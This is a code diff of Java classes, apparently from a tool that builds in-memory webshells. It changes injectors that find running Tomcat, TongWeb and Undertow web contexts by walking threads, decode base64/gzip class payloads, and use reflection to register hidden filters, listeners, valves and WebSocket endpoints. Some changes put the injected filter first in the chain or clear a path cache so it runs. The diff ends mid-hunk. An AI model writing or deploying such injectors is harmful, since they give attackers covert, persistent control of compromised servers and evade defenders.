Class<?> serverEndpointConfigClass;
|
||||||
|
Class<?> builderClass;
|
||||||
|
try {
|
||||||
|
serverEndpointConfigClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig");
|
||||||
|
builderClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig$Builder");
|
||||||
|
} catch (ClassNotFoundException e) {
|
||||||
|
serverEndpointConfigClass = contextClassLoader.loadClass("jakarta.websocket.server.ServerEndpointConfig");
|
||||||
|
builderClass = contextClassLoader.loadClass("jakarta.websocket.server.ServerEndpointConfig$Builder");
|
||||||
|
}
|
||||||
|
Constructor<?> constructor = builderClass.getDeclaredConstructor(Class.class, String.class);
|
||||||
|
constructor.setAccessible(true);
|
||||||
|
Object o1 = constructor.newInstance(obj.getClass(), getUrlPattern());
|
||||||
|
Object endpointConfig = invokeMethod(o1, "build", null, null);
|
||||||
|
|
||||||
|
invokeMethod(container, "setDefaultMaxTextMessageBufferSize", new Class[]{int.class}, new Object[]{52428800});
|
||||||
|
invokeMethod(container, "setDefaultMaxBinaryMessageBufferSize", new Class[]{int.class}, new Object[]{52428800});
|
||||||
|
invokeMethod(container, "addEndpoint", new Class[]{serverEndpointConfigClass}, new Object[]{endpointConfig});
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String toString() {
|
||||||
|
return msg;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||||
|
Class<?> decoderClass;
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
GZIPInputStream gzipInputStream = null;
|
||||||
|
try {
|
||||||
|
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||||
|
byte[] buffer = new byte[4096];
|
||||||
|
int n;
|
||||||
|
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
} finally {
|
||||||
|
if (gzipInputStream != null) {
|
||||||
|
gzipInputStream.close();
|
||||||
|
}
|
||||||
|
out.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
||||||
|
try {
|
||||||
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
while (clazz != null && method == null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != Object.class) {
|
||||||
|
try {
|
||||||
|
Field field = clazz.getDeclaredField(name);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
} catch (NoSuchFieldException var5) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -7,7 +7,9 @@ import java.io.PrintStream;
|
|||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.*;
|
import java.util.HashSet;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -41,7 +43,7 @@ public class TomcatWebSocketInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -59,23 +61,6 @@ public class TomcatWebSocketInjector {
|
|||||||
System.out.println(msg);
|
System.out.println(msg);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
private String getContextRoot(Object context) {
|
|
||||||
String r = null;
|
|
||||||
try {
|
|
||||||
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
}
|
|
||||||
String c = context.getClass().getName();
|
|
||||||
if (r == null) {
|
|
||||||
return c;
|
|
||||||
}
|
|
||||||
if (r.isEmpty()) {
|
|
||||||
return c + "(/)";
|
|
||||||
}
|
|
||||||
return c + "(" + r + ")";
|
|
||||||
}
|
|
||||||
|
|
||||||
public Set<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
Set<Object> contexts = new HashSet<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
@@ -113,6 +98,23 @@ public class TomcatWebSocketInjector {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
private ClassLoader getWebAppClassLoader(Object context) {
|
private ClassLoader getWebAppClassLoader(Object context) {
|
||||||
try {
|
try {
|
||||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
|
|||||||
@@ -4,6 +4,7 @@ import java.io.ByteArrayInputStream;
|
|||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
|
import java.lang.reflect.Array;
|
||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
@@ -43,7 +44,7 @@ public class TongWebFilterInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -116,7 +117,7 @@ public class TongWebFilterInjector {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
private ClassLoader getWebAppClassLoader(Object context) {
|
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
try {
|
try {
|
||||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
@@ -149,24 +150,28 @@ public class TongWebFilterInjector {
|
|||||||
String filterClassName = getClassName();
|
String filterClassName = getClassName();
|
||||||
Object filterDef;
|
Object filterDef;
|
||||||
Object filterMap;
|
Object filterMap;
|
||||||
|
Class<?> filterMapClass;
|
||||||
Constructor<?> constructor;
|
Constructor<?> constructor;
|
||||||
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
||||||
try {
|
try {
|
||||||
// tongweb 7
|
// tongweb 7
|
||||||
constructor = contextClassLoader.loadClass("com.tongweb.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
|
constructor = contextClassLoader.loadClass("com.tongweb.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
|
||||||
filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
|
filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
|
||||||
filterMap = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap").newInstance();
|
filterMapClass = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap");
|
||||||
|
filterMap = filterMapClass.newInstance();
|
||||||
} catch (Exception e2) {
|
} catch (Exception e2) {
|
||||||
try {
|
try {
|
||||||
// tongweb 6
|
// tongweb 6
|
||||||
constructor = contextClassLoader.loadClass("com.tongweb.web.thor.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
|
constructor = contextClassLoader.loadClass("com.tongweb.web.thor.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
|
||||||
filterDef = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterDef").newInstance();
|
filterDef = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterDef").newInstance();
|
||||||
filterMap = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterMap").newInstance();
|
filterMapClass = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterMap");
|
||||||
|
filterMap = filterMapClass.newInstance();
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
// tongweb 8
|
// tongweb 8
|
||||||
constructor = contextClassLoader.loadClass("com.tongweb.server.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
|
constructor = contextClassLoader.loadClass("com.tongweb.server.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
|
||||||
filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
|
filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
|
||||||
filterMap = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap").newInstance();
|
filterMapClass = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap");
|
||||||
|
filterMap = filterMapClass.newInstance();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
|
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
|
||||||
@@ -174,7 +179,13 @@ public class TongWebFilterInjector {
|
|||||||
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
|
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
|
||||||
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
|
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
|
||||||
invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||||
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
|
||||||
|
// addFilterMapFirst
|
||||||
|
Object[] filterMaps = (Object[]) invokeMethod(context, "findFilterMaps", null, null);
|
||||||
|
Object[] results = (Object[]) Array.newInstance(filterMapClass, filterMaps.length + 1);
|
||||||
|
results[0] = filterMap;
|
||||||
|
System.arraycopy(filterMaps, 0, results, 1, filterMaps.length);
|
||||||
|
setFieldValue(getFieldValue(context, "filterMaps"), "array", results);
|
||||||
|
|
||||||
constructor.setAccessible(true);
|
constructor.setAccessible(true);
|
||||||
Object filterConfig = constructor.newInstance(context, filterDef);
|
Object filterConfig = constructor.newInstance(context, filterDef);
|
||||||
@@ -221,48 +232,58 @@ public class TongWebFilterInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Method method = null;
|
||||||
Method method = null;
|
while (clazz != null && method == null) {
|
||||||
while (clazz != null && method == null) {
|
|
||||||
try {
|
|
||||||
if (paramClazz == null) {
|
|
||||||
method = clazz.getDeclaredMethod(methodName);
|
|
||||||
} else {
|
|
||||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
|
||||||
}
|
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (method == null) {
|
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
|
||||||
}
|
|
||||||
|
|
||||||
method.setAccessible(true);
|
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
|
||||||
Class<?> clazz = obj.getClass();
|
|
||||||
while (clazz != Object.class) {
|
|
||||||
try {
|
try {
|
||||||
Field field = clazz.getDeclaredField(name);
|
if (paramClazz == null) {
|
||||||
field.setAccessible(true);
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
return field.get(obj);
|
} else {
|
||||||
} catch (NoSuchFieldException var5) {
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
clazz = clazz.getSuperclass();
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
|
for (Class<?> clazz = obj.getClass();
|
||||||
|
clazz != Object.class;
|
||||||
|
clazz = clazz.getSuperclass()) {
|
||||||
|
try {
|
||||||
|
return clazz.getDeclaredField(name);
|
||||||
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
|
Field field = getField(obj, name);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
|
||||||
|
Field field = getField(obj, fieldName);
|
||||||
|
field.setAccessible(true);
|
||||||
|
field.set(obj, value);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private String getErrorMessage(Throwable throwable) {
|
private String getErrorMessage(Throwable throwable) {
|
||||||
PrintStream printStream = null;
|
PrintStream printStream = null;
|
||||||
|
|||||||
@@ -35,7 +35,7 @@ public class TongWebListenerInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -96,7 +96,7 @@ public class TongWebListenerInjector {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
private ClassLoader getWebAppClassLoader(Object context) {
|
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
try {
|
try {
|
||||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
@@ -218,30 +218,25 @@ public class TongWebListenerInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Method method = null;
|
||||||
Method method = null;
|
while (clazz != null && method == null) {
|
||||||
while (clazz != null && method == null) {
|
try {
|
||||||
try {
|
if (paramClazz == null) {
|
||||||
if (paramClazz == null) {
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
method = clazz.getDeclaredMethod(methodName);
|
} else {
|
||||||
} else {
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
|
||||||
}
|
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
if (method == null) {
|
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
|
||||||
}
|
|
||||||
|
|
||||||
method.setAccessible(true);
|
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
@@ -35,7 +35,7 @@ public class TongWebValveInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
|
|||||||
@@ -7,7 +7,10 @@ import java.io.IOException;
|
|||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.*;
|
import java.util.HashMap;
|
||||||
|
import java.util.HashSet;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
|
||||||
@@ -40,7 +43,7 @@ public class UndertowFilterInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -75,6 +78,7 @@ public class UndertowFilterInjector {
|
|||||||
return c + "(" + r + ")";
|
return c + "(" + r + ")";
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("Duplicates")
|
||||||
public Set<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
Set<Object> contexts = new HashSet<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
@@ -129,6 +133,8 @@ public class UndertowFilterInjector {
|
|||||||
Object managedFilters = invokeMethod(deploymentImpl, "getFilters", null, null);
|
Object managedFilters = invokeMethod(deploymentImpl, "getFilters", null, null);
|
||||||
invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
|
invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
|
||||||
invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, getClassName(), getUrlPattern(), DispatcherType.REQUEST});
|
invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, getClassName(), getUrlPattern(), DispatcherType.REQUEST});
|
||||||
|
// invalidate cache
|
||||||
|
invokeMethod(invokeMethod(deploymentImpl, "getServletPaths", null, null), "invalidate", null, null);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("unchecked")
|
@SuppressWarnings("unchecked")
|
||||||
@@ -213,30 +219,25 @@ public class UndertowFilterInjector {
|
|||||||
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Method method = null;
|
||||||
Method method = null;
|
while (clazz != null && method == null) {
|
||||||
while (clazz != null && method == null) {
|
try {
|
||||||
try {
|
if (paramClazz == null) {
|
||||||
if (paramClazz == null) {
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
method = clazz.getDeclaredMethod(methodName);
|
} else {
|
||||||
} else {
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
|
||||||
}
|
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
if (method == null) {
|
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
|
||||||
}
|
|
||||||
|
|
||||||
method.setAccessible(true);
|
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
@@ -5,9 +5,7 @@ import java.io.ByteArrayOutputStream;
|
|||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.InvocationTargetException;
|
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.ArrayList;
|
|
||||||
import java.util.HashSet;
|
import java.util.HashSet;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
@@ -40,7 +38,7 @@ public class UndertowListenerInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -191,30 +189,25 @@ public class UndertowListenerInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Method method = null;
|
||||||
Method method = null;
|
while (clazz != null && method == null) {
|
||||||
while (clazz != null && method == null) {
|
try {
|
||||||
try {
|
if (paramClazz == null) {
|
||||||
if (paramClazz == null) {
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
method = clazz.getDeclaredMethod(methodName);
|
} else {
|
||||||
} else {
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
|
||||||
}
|
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
if (method == null) {
|
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
|
||||||
}
|
|
||||||
|
|
||||||
method.setAccessible(true);
|
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
@@ -5,11 +5,8 @@ import java.io.ByteArrayOutputStream;
|
|||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
